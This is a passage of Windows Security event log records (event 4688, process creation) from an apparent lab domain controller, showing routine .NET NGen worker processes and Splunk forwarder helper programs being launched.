	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 758 -InterruptEvent 0 -NGENProcess 66c -Pipe 754 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254518
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 740 -InterruptEvent 0 -NGENProcess 72c -Pipe 428 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254517
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1070
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 66c -InterruptEvent 0 -NGENProcess 64c -Pipe 688 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254516
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1158
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6bc -InterruptEvent 0 -NGENProcess 72c -Pipe 6e8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254515
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 760 -InterruptEvent 0 -NGENProcess 758 -Pipe 764 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254524
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 770 -InterruptEvent 0 -NGENProcess 758 -Pipe 66c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254523
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa58
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 72c -InterruptEvent 0 -NGENProcess 76c -Pipe 750 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254522
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 648 -InterruptEvent 0 -NGENProcess 758 -Pipe 740 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254521
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 770 -InterruptEvent 0 -NGENProcess 66c -Pipe 760 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254525
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6a0 -InterruptEvent 0 -NGENProcess 6a4 -Pipe 6b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254527
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254526
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 748 -InterruptEvent 0 -NGENProcess 758 -Pipe 6d0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254528
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x47c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254529
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x248
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254535
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 788 -InterruptEvent 0 -NGENProcess 76c -Pipe 798 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254534
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 798 -InterruptEvent 0 -NGENProcess 788 -Pipe 79c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254533
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc58
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6a0 -InterruptEvent 0 -NGENProcess 758 -Pipe 6a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254532
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1340
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 788 -InterruptEvent 0 -NGENProcess 52c -Pipe 718 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254531
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 718 -InterruptEvent 0 -NGENProcess 788 -Pipe 768 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

